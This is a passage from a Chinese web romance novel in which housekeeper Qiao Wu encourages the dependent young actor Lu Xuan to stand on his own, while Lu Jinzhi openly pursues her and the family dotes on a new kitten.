他不敢相信,乔梧从小生活在陆家。 就算他不常在家,见不到他这种质量的帅哥,那陆尽之和陆应池也勉强还看得过去,怎么会轻易被一个一面之缘的演员给哄得买那么多奢侈品。 哦,人家还没哄。 陆宣低头看了眼自己,虽然现在咖位小,但他的衣品一直没 得说。 可恶,还是被自己帅到了。 呜,可她为什么看不上。 乔梧回头时看陆宣不知道在想什么,越想眼睛越红,看起来十分倔强在沙发角落闷声落泪,可给他委屈坏了。 “哭什么。”她接过服务生端来的蜂蜜水在陆宣身边坐下,“等你以后有了代言,我也给你买单,带上全家人一起。” 谁在意那些提成。 陆宣接过蜂蜜水一饮而尽,锲而不舍地问:“你喜欢他什么?” “谁说我喜欢他?”乔梧失笑,“只是有些工作上的忙需要他帮。” 她清楚如果现在告诉陆宣工作室的事情,这人一定会毫不犹豫跟GS解约,毅然跟她走,所以还不能说。 陆宣“哦”了声。 抱着杯子不说话了。 他其实有很多话想要说,可脑子里乱的很。 “你有什么工作上的忙我可以帮吗?”他问。 “没有。”见他情绪好一点,乔梧便坐正,一边循着自己带来的人一边跟他说话,“你管好自己就行。” 陆宣垂着头。 所以孟星星说得对,他还是一事无成。 “你那么忙,会看我的消息吗?”他像是碎碎念一样,“我没发什么脾气,姜奇夸我进步很大,还把我介绍给其他组了,我回来几天,又要继续去拍戏。” 这些话他都在微信上发给乔梧过,但他不知道她有没有认真看,只能亲口说给她听。 但乔梧每一条都认真看了,不仅看过,甚至还会从孟星星那边得到更加细致的工作进度安排。 知道他什么时候结束什么时候落地,下一个工作要去哪,但她还是认真听陆宣把话说完才回答:“我知道。” “嗯。”陆宣低声说,“你什么都知道,其实你在我之前就知道这些了。” 孟星星说,他的每一个工作都是乔梧事先过目才会落到他头上的。 他默了默,又说:“都是你在照顾我。” 乔梧刚想问问他今天究竟怎么了,看起来也不像是因为她没去接他生闷气,如果是那样他早该说了。 可她没来得及问,就有人走到了她面前:“乔总。” 是个刚才打过招呼的广告制作团队,乔梧站起身:“您好。” “刚才人太多,没能单独跟您说两句。”那人笑着说,说完后看了一眼旁边有些醉意的陆宣,“陆老师。” 陆宣将杯子放下,也站起来:“你好。” 实际上他压根不记得这人是谁了。 “好久不见。”那人说完后又看向乔梧,“乔总这会儿不忙的话,我们聊几句?” 乔梧往陆宣那边看了一眼。 陆宣第一次在这种场合被人冷落,但由于身边是乔梧,他也没有任何不开心。 “你们说。”他又把那个空杯子拿起来,还把之前乔梧打开的那瓶矿泉水也拿了起来,转身又回到了自己的小角落。 见状乔梧才放心跟人坐下聊起了工作。 坐在小阳台上的陆宣被冷风一吹,吹得发昏的脑袋有一点点清醒了,他把矿泉水倒进杯子里,像喝酒那样一点点地品。 可目光却一直在盯着里面的乔梧。 他其实喝得没有那么醉,可是不醉一点的话就不能那么近地跟她说话。 他很害怕乔梧对他的疏远。 上一次这种场合,所有人都围在他身边讨好他,是乔梧在他身边给他筛选给他甄别,还能空出精力去保护其他人。 这一次只隔了几个月,却是乔梧成了主角,他还成了她们聊天里多余的存在。 以前拿到乔梧那十万块的时候,他曾经大言不惭的说,十万块别人想跟他吃顿饭都不行。 但现在乔梧对其他人动辄百万,她买下的东西哪怕是他才杀青的那个小配角的钱都不够给她买。 他确实只值那五万块了。 晚宴到了尾声,乔梧也才从一众人里脱身出来,拿到今天拍的那些东西,又让司机把几个艺人安全送回去,这才回头去找了陆宣。 既然已经回来了,还出现在同一个场合,她不会刻意去戒断什么,该怎么走还是怎么走。 她找到陆宣时,他站在露台上,还把跟宴会厅相连接的门给关上了。 乔梧拉开门,皱眉道:“什么身体禁得住这么冻?” “我醉了。”陆宣说,“吹一吹清醒一点,不然一会儿回去又要撬老头保险柜了。” “吹好了吗?”乔梧示意他进门,“回家了。” 陆宣没吭声,露台上的灯光跟宴会厅的明亮形成鲜明的对比,在他脸上落下阴影。 过了会儿,他忽然喊了一声:“乔梧。” “嗯?” 陆宣微微抬起眼,脸被冷风吹得很白,但眼睛还红着,他笑了下:“你别管我了吧。” 乔梧愣了一下:“什么?” “我说,你别管我了。” 意识到他有话想说,乔梧笑了下:“那你要这么跟我聊天吗,不是过几天还要进组?万一病了怎么办。” 陆宣抿抿唇,终于还是从露台走了回来。 现在会场里已经没有多少人,乔梧便在临近窗户的位置坐下来:“说吧,悟到什么了?” 陆宣依旧抱着那个早就空了的杯子以及矿泉水瓶,他垂眸看着杯口:“我离不开你的。” 不管怎么戒断,只要乔梧在他身边他就不会想要离开她。 小时候是,现在也是。 这已经成为他的惯性了。 他以前信誓旦旦说要成为那个保护乔梧的人,但在无形之中还是会被她方方面面顾及到,有了这种回头就能看到她的底气,他知道自己做不到。 他不想一面说着要照顾她,另一面却又控制不住在她眼前示弱,让她看到自己一无所成的样子,让自己在她身边一直都是那个多余的存在。 至少下一次,让他也能成为崔斯同那样,能被乔梧一掷千金的有用的人吧。 所以他不想让乔梧再管他了,没有乔梧的时间他能自己走的。 让他自己往前走一走,能站稳再说。 短短一句话乔梧就明白了他的意思,她眼神渐渐柔和下来,其实有点心疼。 整个陆家,陆宣对她的依赖感是最强的。 两人几乎形影不离一起长大,其实说是青梅竹马真的不为过,毕竟当初连喝奶的奶瓶都是放在一起的,玩具在一起,一起学写字学画画,陆宣连去上学都想带着她,她比其他人都更像陆宣的家人。 他们大哥去世后,陆家上下忙成一团。 陆尽之思想已经成熟到自己去消化了,陆应池则是还懵懵懂懂不懂事,家里还有个牙牙学语的陆柠需要照顾。 她因为心理年龄大所以接受能力强,只有陆宣处于不上不下的状态,懂事了却还不够成熟,敏感却没有人在意他的感受,只有她一直陪在他身边,所以他几乎把所有的情感寄托都放在了她的身上,要跟她一起学习,甚至想要留级一直待在她身边。 哪怕只有几岁的时候,他的目标一直都是她做什么他就做什么,她去哪他就去哪。 他把他认为的所有重要的东西都给了她,讨好她。 所以她才会知道陆宣所有的密码,包括门锁和保险柜。 而她离开的时候陆宣也才十几岁,她还没来得及在他正在改变的年纪告诉他该做什么不该做什么。 至今她都能想起陆宣一次又一次来到“她”面前想要跟“她”说点什么话,却一次又一次失望的表情。 他第一次意识到“她”变了的时候,猝不及防就哭了。 可那时候的“她”也只是问三少爷有什么不开心的吗,需要我为您做点什么吗? 但陆宣根本不知道自己要点什么,他就是觉得自己要的都再也得不到了。 从那以后他也再没在外人面前哭过。 直到那天她回来,再一次陪他去晚宴,他喝醉后靠着本能就能认出记忆里的她,靠在她怀里哭个不停。 人变了就是永恒的变了,所以他或许真的不知道有一天她会回来,他什么都没准备,可那时候 的陆宣能有什么呢,他能想到的最好的东西、最能留下她的东西,是他所有的钱。 像以前把宝贝献给她一样,把他的钱也全都给她。 所以乔梧心疼,她心疼陆家每一个人。 她也不知道这么多年,这个哭包会不会自己躲在被子里哭了多少次。 也因此乔梧一直都知道陆家所有的人里,陆宣的戒断反应会是最严重的,她要付出更多的耐心。 这句话她其实等了挺久了。 她轻声问:“如果管家是其他人呢?” 陆宣没反应过来:“什么?” “如果管家是其他人。”乔梧给他把可能性列出来,“不管是我父亲还是谁,任何人在我这个位置都会替你们把任何可能遇到的阻碍给排除掉,这是作为管家的职责,所以就算我不管你了,其他人也会管。” “不是说不管你就可以了,而是你要知道自己是一个独立的个体,其实你也可以靠着自己往前走的,其余的人都是你生活里的陪客,跟你要往哪里走没有任何关系,不要把你的未来交在我的手里。” 陆宣怎么能不知道,但他就是觉得换做任何一个人,他都不会这样。 “其他人不是你。” 其他人都不叫乔梧。 只要这个名字存在,就能成为一切例外。 他看着乔梧:“我怕我忍不住。” 忍不住真的把人塞进行李箱一起带走。 如果他要长长久久待在乔梧身边,就不能一直是现在的这个状态,被推一下走一步。 至少,让他成为陆宣。 而不是乔梧的陆宣。 这才是站在她身边的基础条件。 “我会站在领奖台上的。”他说,“到了那一天你就坐在现场,听我在上面叫你的名字。” 然后你再给我花钱。 乔梧被他逗笑:“算了,我不想上热搜。” “陆宣。”她温声问,“你收到那束花了吗?” 陆宣下意识摸了一下自己的口袋:“嗯。” “除了我写的卡片,其他人的你也看到了吧?” “……嗯。” “你一定觉得是我让他们写的。”乔梧挑眉。 陆宣轻拧了下眉。 那不然呢? 他甚至在自己的黑粉超话里看到了陆应池和陆柠的小号。 别以为他不知道! 这两人指向性太强了! “是他们自己写的。”乔梧轻笑。 开始乔梧的确有让大家一起写的意思,但她没有一开始就说出来,而是在那天早上吃饭的时候在饭桌上当着所有人的面写了那张卡片。 “矫不矫情。”陆应池瞥到后,嘲讽道,“演个手指头都数不过来的配角,还给他送杀青礼物?” 乔梧不在意道:“毕竟第一次正经杀青呢,你连他演的霸总都能看那么多遍,还在意人家演几番配角?” “没事。”她说,“等以后他一点点成为主角,到时候领奖采访就会说,‘谢谢乔梧,我当初杀青的第一束花是你送的’。” 其余几人都没说话。 可就在吃完饭以后,陆柠却忽然塞给她一张纸条:“我写了三遍,一笔一划写的,这张最好,给我加进去吧。” 陆应池靠在门口黑着脸:“我就知道你是个叛徒。” 然后走过来,拿了一张纸抢过乔梧的笔刷刷刷写下几个字,还很自豪地说:“我很负责。” 隔了会儿,两人又觉得不够:“不然直接给他送一车过去。” “你有钱吗?”陆柠问,“呜呜她叔。” 陆应池:“……” 他横了旁边慢条斯理吃着早餐事不关己的陆尽之一眼,重重地哼了一声,发出最后的倔强呐喊:“AA!” 至于陆尽之。 这个纯属是以为他不想听到陆宣在所谓的采访里单独提到她的名字。 但这个可以不说。 乔梧看着有些愣怔的陆宣:“你可能不常在家,很少跟他们相处,但你往身边看一看就会发现…” 她顿了顿,柔声笑道:“其他人都不是我,但任何人都可以是我。” 她只是某一个时候出现又消失,对他们来说比较特殊的人。 但事实上这些事换做是其他人,他们也会做。 “我管你,是因为老先生很早以前就想好了以后需要我这么一个人存在,来替他帮助你们。”她说,“你们总不喜欢陆尽之,但事实上他过去也没有让你们受过一点苦受过一点罪,哪怕你跟陆应池和陆柠再怎么互相看不顺眼,但到头来你们不也没有把对方看做死敌吗?我们还可以坐在一桌吃饭,在影音室一起看你的作品,你也会看看陆柠的作业。” “所有的事情都是相互的。” 她看着眼前发呆的陆宣:“我只是把所有人没有告诉你的话和表现给你看的情绪,都替他们展现给你了而已。” 陆宣紧紧抱着怀里的东西,就那么发怔地看着她。 像是又醉了。 乔梧没催他,而是拿出手机准备给司机打电话,让司机去门口接。 “我说不过你。”陆宣这时开口,他整个人都像是被抽掉了骨头,以往懒散的样子在这一刻变得有些颓丧,整个人陷在了沙发里,半垂着眼说,“你学习一直比我好,我脑子赶不上。” 乔梧笑笑:“那你要怎么做呢?” 陆宣掀起眸子,定定地看了她几秒。 然后很轻地挑了一下唇:“我要你下一次也站在我面前,跟我握手,喊我陆老师。” 这人眉眼本身就生得昳丽,染了酒气后就更加好看了。 “我很期待。”乔梧拿出手机给他拍了一张,又发到他的手机上,“拿去,一会儿给你发微博,今天很帅的陆老师。” 陆宣拿出震动的手机看了眼。 他拍过很多杂志照片,各种造型各种风格,在剧组也拍了不少剧照,可唯独他自己却没怎么拍过。 上一次是什么时候? 在静水别墅拍的那张,他因为乔梧没有坐在身边生气,所以没看镜头。 而此时这张照片上面的人看着有些陌生。 是他从来没见过的自己,哪怕眼睛还是红的,但却比以前的每一张都好看。 他看了会儿,感慨:“娱乐圈颜王,果然名不虚传。” 乔梧轻轻弯唇:“好了颜王,再不回去门禁时间要到了。” 陆宣嗯了声,缓缓站起身来。 刚才乔梧没发出去消息,现在准备直接打电话。 还没翻到司机的电话,屏幕爽却忽然跳出一个名字。 她下意识看了旁边的人一眼,走远了点儿,接通电话对另一头道:“马上回来了。” “嗯。”那头的男人声音有些低,“我在酒店门口。” 乔梧:“???” “你来这儿干什么?” 那头默了几秒,语调轻轻扬起来:“你是不是忘了,我还在追你。” “……” 陆尽之笑了声:“下来吧,喜欢的人。” 乔梧现在无比庆幸自己离远了一点接电话,她应声挂了电话后回头一看。 果然陆宣目光有些疑惑地看着她:“谁的电话?” “你哥。” 你哥这个称呼对于陆宣来说过于陌生了,但他想到刚才乔梧说的话又堪堪把到了嘴边的不礼貌咽了下去。 他狐疑地问:“你以前跟他打电话,也这么背人?” 以前没有。 但你哥现在性质有点过于特殊了。 不背人不行。 乔梧已经精准掌握了陆尽之随时随地都要表白一下提醒她的作风,所以十分小心。 “他来了。”她岔开话题,“我们下去吧。” 陆宣表情更加复杂了。 来哪了? 跟着乔梧一起下楼,他一眼就看到了陆尽之的车。 陆尽之这人挑剔得很,车都是限量款,车牌号都要花重金买,所以在哪都能很好的认出来。 陆宣心道,也正常。 他也跟乔梧一起上下班,一起回家。 然后他就看到车窗降了下来,主驾驶那人化成灰他都认识。 等会儿,这只猴亲自开车?! 陆宣过于震惊,以至于站在原地一时半会儿没反应过来。 乔梧站在副驾驶前,见陆尽之解开安全带,那架势是要下来给她开车门了,她赶紧俯身警告:“你安分点!” 陆尽之停下动作,似有不解:“嗯?” 乔梧生怕一会儿露馅,所以压低声音:“要么我坐后面,要么你自己回去。” 知道她在想什么,陆尽之并没有在意,而是解开安全带下车。 依旧走到乔梧身边,轻轻抓住她的胳膊拉开,又亲自给她打开了车门。 乔梧背脊都僵了:“这世上是没有你在意的人了吗?” “怎么会。”陆尽之挑眉,“面前有一个。” “你再骚一句呢?” 看人要炸毛了,陆尽之轻笑一声见好就收,又朝她身后淡淡递去一眼:“他不会坐这儿的。” 不过都站到这儿了,他自然也要 给自己一点甜头,没人给他就自己拿。 所以他借着这个姿势微微俯身,在她耳畔用很轻的声音说:“放心,他不会发现的。” 发现什么? 发现什么?! 你不要说得我跟你有什么一样! 乔梧瞪了他一眼,捂住他的嘴给他推开。 “你怎么知道。” 陆尽之弯唇:“因为小狗一般只有七岁的智商。” “……” 乔梧懒得跟他贫,回头刚要去看陆宣,可对方跟一阵风似的自己打开后座的门,坐了上去,又砰的一下关上了门,还很自觉地系好了安全带。 开玩笑,坐陆尽之的副驾,还是陆尽之开车,他又不是疯了。 这种副驾不争也罢。 陆尽之搭在乔梧身旁的手轻轻点了下她的手背,示意:看吧。 行。 乔梧这才上了副驾。 她飞速系好安全带,生怕陆尽之又找到借口来骚她一下,猝不及防。 果然,上车后的陆尽之看到她的动作,十分明显地遗憾了一下。 乔梧无声用嘴型提醒他:“老实点。” 然后就看到陆尽之盯着她的嘴巴轻轻笑了。 她头皮一阵发麻,只好回头去看陆宣。 但陆宣此时却降下车窗把脑袋伸到了外面,压根没注意里面发生了什么。 “要走了,你干什么?”乔梧问。 “再吹吹。”陆宣的声音从窗外飘进来,带着几分怀疑人生真实性和世界观崩塌的颤抖,“我可能还没醒,猴亲自开车来接我了。” 陆尽之落下了声冷笑:“不…” 乔梧眼疾手快地捂住他的嘴巴:“不错,兄友弟恭。” 她用眼神威胁:“开车。” 陆尽之垂下漆黑的眸,视线在她白皙的手背上凝住。 乔梧感觉他像是笑了,因为手心下能够感觉到他唇瓣似有若无的触碰。 她眼皮一跳,刚要把手收回来就被陆尽之握住了手腕。 他将手拿开的同时缓缓开口:“嗯,你说得对。” 而在他说话时,微热的唇瓣在她指尖轻轻擦过,那么一瞬。 第75章 第七十五章我没想收场 回陆宅的车很安静。 被冷风把脸都吹歪了的陆宣这才觉得空气变得正常了一点儿,他往前面看去,乔梧全程把脑袋转向窗户,贴着门离陆尽之远远的。 这样才是正常的啊! 而陆尽之开着车,嘴角却一直挂着很诡异的笑容。 又不正常了。 他不在家的这段时间,到底发生了什么? 回到家里时其余两人还没睡,但看到他们一起回来好像也见怪不怪了。 一瞄到有点迷离的陆宣,陆柠就谨慎地跑去拿来酒精测试仪:“过来。” “……” 陆宣揪着她的耳朵:“现在你都敢跳到我头上撒野来了?” 被揪的陆柠有恃无恐:“现在家里还有个小孩子,作为呜呜的姐姐,我要方方面面把它照顾好,醉鬼不能靠近。” 谁乐意看你那小猫。 但陆宣听到呜呜两个字,下意识回头看了一眼,乔梧正在桌边喝水,闻言也只是笑笑,她好像一点都不排斥这个称呼,还挺喜欢。 他把陆柠驱赶走:“拿走,我没醉,猫……呜呜呢?” “二叔房间。” “……” “?” 在哪? 乔梧只跟他说多了个猫,也没跟他说多在陆尽之的房间啊。 陆尽之允许一只猫在他房间造次? 举着测试仪的陆柠又蹭到了二叔面前,她刚想也给二叔测一测,可看到对方似笑非笑的眼神,立刻就把手背到后面去了。 “二叔。”她小心翼翼地问,“呜呜现在也满月了,可以不用每晚喂那么多次,要不接到我房间里来吧?” 虽然二叔同意她进他的房间,但每次进去她都很不自在。 陆尽之随口问:“不期末考了?” “这跟我期末考有什么关系?” 陆尽之睨她一眼:“放你房间,你是看猫还是看书?” 那当然是……二者兼得。 陆柠底气不太足,只好回头用眼神求助乔梧。 不过这次乔梧的确赞同陆尽之的做法,把猫放在陆柠房里,这小孩自制力一定不够,集中不了注意力学习,还是得期末考完再放过去,这样到了开学她也就习惯了。 “听你二叔的。” 陆柠眼睛失去了光:“噢。” 被忽视的陆宣黑着脸:“还能看见我么,能听到我说话吗?我说我要看猫。” 陆柠把酒精测试仪放好,颇有种轻车熟路的感觉:“走吧,我带你去。” 两人一起上了电梯,陆宣往后面看了一眼:“陆应池呢?” “他最近忙着复习,还有那么什么职业比赛,没工夫。” 合着被戒断的也不止他一个人。 陆宣心态平衡了一点,再看去,陆尽之那只猴又窜到乔梧面前去了,他心中疑窦更深。 “陆柠。” “嗯?” “你觉不觉得陆尽之有点奇怪?” 陆柠习惯了:“他一直都很奇怪。” “最近更奇怪了。”陆宣说,“他居然同意把猫养在他的房间,今天还去接我下班,还是亲自开车,是不是造孽太多终于被反噬,脑子坏掉了。” “接你下班?” 陆柠抬头看他,眼里带着深深的怀疑。 “你等我,我再下去给你测一测。” 说胡话了已经。 陆宣拍了她脑袋一下,恨铁不成钢:“没看到我们一起回来的?” “那个啊。”陆柠习以为常地说,“他最近每天都跟乔梧一起回来。” 至于是不是亲自开车她就不知道了。 “呜呜原本是养在乔梧房间里的,后来不知道怎么突然就在二叔这里了。” “……” 电梯到了,陆柠十分熟练地走上前打开房间门:“可能是因为二叔的房间方便跑酷吧,很宽噢!” 陆宣对陆尽之的房间一点印象都没有,依稀只记得小时候跟乔梧玩捉迷藏,他把乔梧落在陆尽之房间门口了,等他再回 头的时候,陆尽之已经把乔梧绑架进房间做了人质,任他怎么哭都不开门。 他记得很清楚,因为那一次他被陆尽之缴了一个星期的零食。 全给乔梧了,说是精神损失费。 这一次他光明正大进来,发现陆尽之的房间其实也没那么神秘,简单得不能再简单。 倒是中间摆着一个跟冷淡风不同的大窝和笼子,旁边还有瓶瓶罐罐,里面一只小三花笨拙地爬来爬去,眼睛圆溜溜的。 的确像极了小时候还不会走路的呜呜。 他上前蹲下身轻轻挠了挠那只猫的下巴:“怎么这么小一只。” “呜呜,叫叔叔。” 陆宣无语。 这什么破脑子,猫会说话吗? 而且…… “该叫三大爷。” 连个辈分都搞不清楚,期末考完蛋了。 “我是呜呜的姐姐。”陆柠也蹲下来,“你当然是它叔叔。” “这不是你养的?叫你什么姐姐。” “但是二叔和乔梧喂的,乔梧是它妈妈。” 陆宣动作一顿:“那陆尽之呢?” “爸爸啊。”陆柠很窃喜自己的商业头脑,“二叔用巨额转账获得了呜呜的抚养权,身无分文的陆应池已经被踢出群聊了,你有兴趣参与竞争吗?” 什么乱七八糟的。 这么幼稚的事陆尽之也干得出来,他争个爹当干什么。 陆宣默默数了数自己这次的片酬,加上乔梧给的生活费,自从不买那些乱七八糟的东西,也不去参加什么聚会以后,他花钱的速度直线下降,以至于乔梧给他的十万块钱他居然真的没花完。 他十分不经意地问:“他给了你多少钱?” 陆柠把自己的支付宝余额递给他看。 “我靠。”陆宣瞪大眼睛,“你还说他不是脑子坏掉了?!” 他不愿意用陆尽之给的那张卡,这样到头来不还是陆尽之花的钱么。 但是如果把这次的片酬都给陆柠,好像也不现实。 “下次一定。”他悻悻收回心思,“你等我下次杀青回来。” “噢~” 陆柠看透一切。 看来这个家里只有二叔才能成为真正的霸主。 “很遗憾,你也被踢出群聊了,呜呜它叔。” “加我一个。”虽然暂时不能参与竞争,但陆宣还是能给她发小红包的,“你给我盯着陆尽之,我还是觉得他很不对劲。” “好说好说。” 陆宣记得那天早上他偷听陆尽之和乔梧聊天的时候,陆尽之丝毫没有赞同戒断这个说法,也就是说他现在每天还是跟乔梧同进同出。 但乔梧原本说的是走着瞧,怎么会同意的呢。 “他两现在关系很好?” “挺好的。” 虽然二叔说他喜欢乔梧,但陆柠一直记得乔梧说过,不要在大人面前提起这种事,所以她就没说。 “你觉得是为什么?” 陆柠埋头把红包收了,认真用她最近受到大师熏陶的脑子想了想:“他能跟乔梧说话。” “我们没嘴?” 陆柠也不知道要怎么解释:“但一般都是乔梧跟我们说话。” 虽然说得没头没尾,但与她同频的陆宣却听进去了。 他莫名想起藏书楼里那些乔梧和陆尽之藏了那么多年的便签,心下恍然,原来很久之前这两人就已经能够站在同一个高度说话了。 而他,是一直站在乔梧身后的那个。 沉默了很久,陆宣捏了捏那只小奶猫的后颈,还是那句话:“怎么这么小一只。” 怎么别的呜呜长大了,你还是这么小一只啊。 他站起身按了按陆柠的脑袋:“收了钱记得办事,知道吗?” “放心,我专业的,乔梧还找了老师教我摄影呢。” 这行为方式听着就很耳熟,陆宣想了好久才找到记忆里的相似点,抽了她脑袋一下:“……没让你做狗仔。” 临近期末的陆柠很快就缩回房间去学习了。 最近陆应池比较忙,她得配合一下钟时夏的作息一起复习,不然人家就要睡觉了。 想到自己的重任,她临时去了趟一楼,陆应池还坐在那里跟其他同学开视频会议,乔梧和二叔却不见了。 “乔梧呢?” 陆应池回头看了一眼:“洗手去了吧。” “那二叔呢?” “也洗手。”陆应池冷笑一声,“洗个手还要成群结队,小学生。” 陆柠点点头。 这没什么好奇怪的,洗个手而已。 而此时一楼的洗手台前,乔梧已经用洗手液洗了好几次手,依旧洗不掉手上被触碰的怪异感,她不信邪,又挤了一泵洗手液。 陆尽之靠在她身后的墙侧,见状笑道:“有那么嫌弃?” 乔梧面无表情:“有。” “是你先来捂我的。”陆尽之莞尔,“那我不是也该洗洗脸。” 乔梧冲干净手,将洗手液拿起来对准他那张看起来一点都没有悔意的脸:“要我帮你吗?” 陆尽之轻轻挑眉,也不管那是洗手液,还真把身体微微前倾,主动合上了眼睛:“好啊。” “……” 乔梧有种一拳打在棉花上的无力感,这人油盐不进。 别以为她不知道他就是故意的。 陆尽之维持着这个动作,没等到她的动静,轻轻“嗯?”了一声。 因为一直笑着,他唇角微微上扬,似有种温和纵容的意味。 乔梧莫名想起在车上他故意靠着自己的手说话时似有若无的触感,顿时又想洗手了。 她放下洗手液:“不想奖励你。” 陆尽之愣了下,不禁笑出声,睁开眼时黑眸里满是笑意。 “陆尽之。”乔梧转身靠着洗手池,慢条斯理地擦着手问他,“你不怕么?” “怕什么?” 乔梧笑了下:“以后没办法收场。” 她跟陆尽之的关系本来就比较特殊,之所以同意他的追求是觉得顺其自然就好,但陆尽之显然没有把顺其自然放在心上。 这样一来,以后如果不成,她想象不到陆尽之这样的性格会怎么处理。 因为他这种特殊的性格会让他无意识中讨好他自己,所以只会做当下他觉得满意觉得开心的事,乔梧担心他到头来翻大车。 陆尽之微微直起身子,朝她走近了两步,两人面对面站着。 偶尔有来往的佣人,他记得乔梧说的话,所以将声音压得很轻。 “为什么要收场?”他似乎是在自问,继而又将视线落在她眼睛上,“那天在医院里,你跟我说你也不知道为什么会那么做。” 乔梧掀起眼睑:“嗯?” 陆尽之:“因为一个尚且不知道的原因你都能不顾命,那我既然知晓了自己的目的,又为什么要顾及其他?” 乔梧稍怔。 陆尽之俯身与她平视,目光专注,将自己双眸中的情感暴露无疑,他微微弯唇:“你知道的,我很难感知到别人的情绪,所以当我能明确喜欢你的时候,说明我已经无可救药了。” “呜呜。”他温和地喊她,如同那浸了水的眸子,“对你来说是可与不可的选项,但对我来说……” 他话音停了下来。 乔梧却从中听出了他未完的话,因为这人的眼神一点都不温和,就像他过去要做某一件事那样。 他从来不会歇斯底里大吵大闹,或是那么强烈地表达出自己的意愿,他只是那么静静的看着你,无声却胜过万言。 理智告诉她,这种人是不可以靠近的。 沾上了就躲不开了。 可在她对感情的设想中,一个至死不渝义无反顾的爱人却是理想。 陆尽之笑道:“对我来说没有第二个选项。” 的确,陆柠说得对。 像陆尽之这种人,笑着的时候准没好事儿。 乔梧觉得自己可能也有点毛病,因为她看到这种直白又病态的坚定,居然还有种诡异的安心感。 她轻轻挑起眼尾:“那要怎么办啊陆尽之?” “怎么办?”陆尽之重复了一遍她的话,认真思考了会儿,很平常的笑笑,“那就无可救药吧,我没想收场。” 乔梧安静地看了他一会儿,忽然笑道:“负七十了陆尽之。” 加了三十分。 还是负数。 陆尽之笑出声,很轻地在她头上揉了下:“那辛苦呜呜再加油一下。” 第76章 第七十六章比五万多就行 原本陆宣休息几天要去姜奇介绍的下一个剧组,但他临早接到电话,两个主演档期临时出了些问题,拍摄要延到年后去。 所以他年前这段时间彻底空了下来。 碍于他在剧组接连日夜拍戏很多天,今天乔梧有意让他多休息,没叫他起床,也没让佣人上来。 可这么久的生物钟让他已经没法再继续睡下去了。 到底为了那廉价的腹肌,还是爬了起来去晨练,然后约了表演课的老师去公司。 下了楼,家里除了佣人,已经没有别人了。 以往这种情况很常见,过去十多年他也是一个人吃饭,但其他人于他而言就像是陌生人,没人会在意他在做什么,他同样也是如此。 但这次却不太一样。 见他下来,佣人们给他准备好早餐,不用他问就主动说:“老先生还没从静水别墅回来,二少爷去公司了,四少爷和小小姐最近期末周,去学校要提早一些,小乔管家安排好家里的事以后也去基金会那边了。” 陆宣吃早餐的动作顿了顿。 他不是很习惯。 这语气好像给他汇报家里每个人的行踪是一件很平常的事情。 他忽然想起乔梧说的那句“你不常在家”。 的确由于工作原因,他很少待在家里,之前他在时其他人也在,整天吵吵闹闹咋咋呼 呼所以并不觉得有什么奇怪。 可真正轮到他一个人坐在这里的时候,那种感觉却很莫名。 就好像真的有条线在牵着他,哪怕他走得很远,也有人会在某天早上跟其他人说:三少爷在拍戏,还没回来。 他收回思绪,不轻不重地嗯了声。 吃完早餐后他来到公司上课,一进门就被余修抱了个满怀。 他皱着眉把人从自己的身上扒拉下来:“干什么?!” 余修十分欣慰地拍了拍他的肩膀:“这半年真的很不错。” 公司都没有花很多钱给他反黑了。 自从陆宣不去那些乱七八糟的聚会,也不再喝多了出洋相,连带着风评在圈内都好了不少。 一份文件递到了陆宣面前,余修说:“不过有件事要告诉你一下,虽然姜奇老师那边的剧组暂时搁置了,但这里有一个新的工作,要看看吗?一番男主噢。” 陆宣看了一眼,是一个完整剧本的策划书。 他越过余修朝表演课室走,头也不回地懒声道:“我最近没钱。” “什么钱。”余修快步跟上,“给你演的。” 陆宣莫名地看了他一眼:“想害老子?” 他上次演的一番男主还是被陆柠和陆应池接连在黑粉超话每天乐此不疲拿出来反复鞭尸的霸总。 “怎么就害你了,演男主还不高兴?” 陆宣没在意,轻嘲:“目前应该还没有只靠脸就可以演的一番。” 他几斤几两重,心里还是清楚的。 别浪费几个月时间,到最后有的人连第一集都看不下去。 这半年白干了。 见他这幅油盐不进的样子,余修瞧得很稀奇,笑道:“也不是你整天摆谱说只演男主的时候了。” 说着就把策划书塞到陆宣怀里:“不骗你,是真男主,但不是什么大制作,只是一个新班底自制的网剧,没说让你一定演,就是让你看看,反正你现在的工作暂时延后了,去其他组也得看剧本去试镜。” 听他这么说,陆宣脚步停了下来,接过策划书翻开。 虽然没什么作品,但他对圈内大小导演还是比较熟悉的,这些人没少为了投资来灌他酒。 但策划书上无论是导演还是制片,每个人的名字都很陌生,看样子真是个新班底。 是个小人物武侠成长轻喜剧,看立意和人物大纲,比起都市霸总的确要多一点深度,也算符合主流市场。 跟在姜奇身边久了,陆宣大概知道一些项目流程。 越小的组没有背景的话越难起来,因为拉不到投资。 他靠在门边,头也没抬:“要钱没有,要脸一张,卖艺不卖身。” “……” 陆宣不愿意用陆尽之的钱去投给别人给自己买一番,到头来还是会被嘲笑:“唯一挣的片酬昨天刚给家里小孩发了红包。” 余修:“离谱。” 你家金矿做的啊。 发红包要用到你所有的片酬?! 他揶揄:“不攒钱给你家管家买首饰了?” 突然被戳中痛点的陆宣凉凉地扫了他一眼。 呵。 买首饰? 他倒是想,但他家管家出手比他大方,已经给别的艺人买首饰了。 他:“滚。” “怎么还是这个臭脾气。”知道他被管得严,余修没再打趣他,正色道,“没有让你投资,就是让你看看想不想去,想的话去试个镜,你还不一定试得上呢。” 这小嘴跟抹了蜜一样,说话跟陆尽之一样讨厌。 陆宣刚想堵几句,忽然觉得哪里不太对。 他终于撩眼:“让我看?” 这段时间他接下来的每一个工作,都是余修这边整理好发给乔梧,乔梧从中挑选出来合适的给他,他只负责去做就行,从综艺到姜奇,哪怕是新组,也先由乔梧过了目。 怎么现在轮到他来看了? “乔总没跟你说啊。”自从知道乔梧有了新公司以后,余修对她的称呼就改了,毕竟对方摇身一变地位级别就比他高了好几级,真是闷声干大事,什么都敢试一试。 “她说以后你的工作,你可以先看先筛选,她负责给你辅助。” 陆宣沉默了好几秒,才似有疑惑地重复:“辅助?” 她不是只辅佐陆氏一把手么。 但余修不知道他在想什么,担心他心里介意便解释:“其实也对,她每天有那么多事要忙,总不能事事都给你铺好路。” 陆宣笑了下。 他低下头再次翻开那个剧本,好一会儿才否认:“不是。” 是她把他那天的话听进去了。 可不是不管他,而是在放手让他试着做自己的主,去决定自己要走的路。 又给他留下退路,站在他身后。 就像她说的,哪怕没有她也会有下一个人来做这些工作。 其实陆宣觉得她有些话说得不对。 就算会有下一个管家,但不是每个人都会像她一样想得那么面面俱到,拿捏住每个人的软肋。 “我会看。”他将策划书合上,“下班之前给你答复。” “行。” 见人打开门进了课室,余修没来由笑了下。 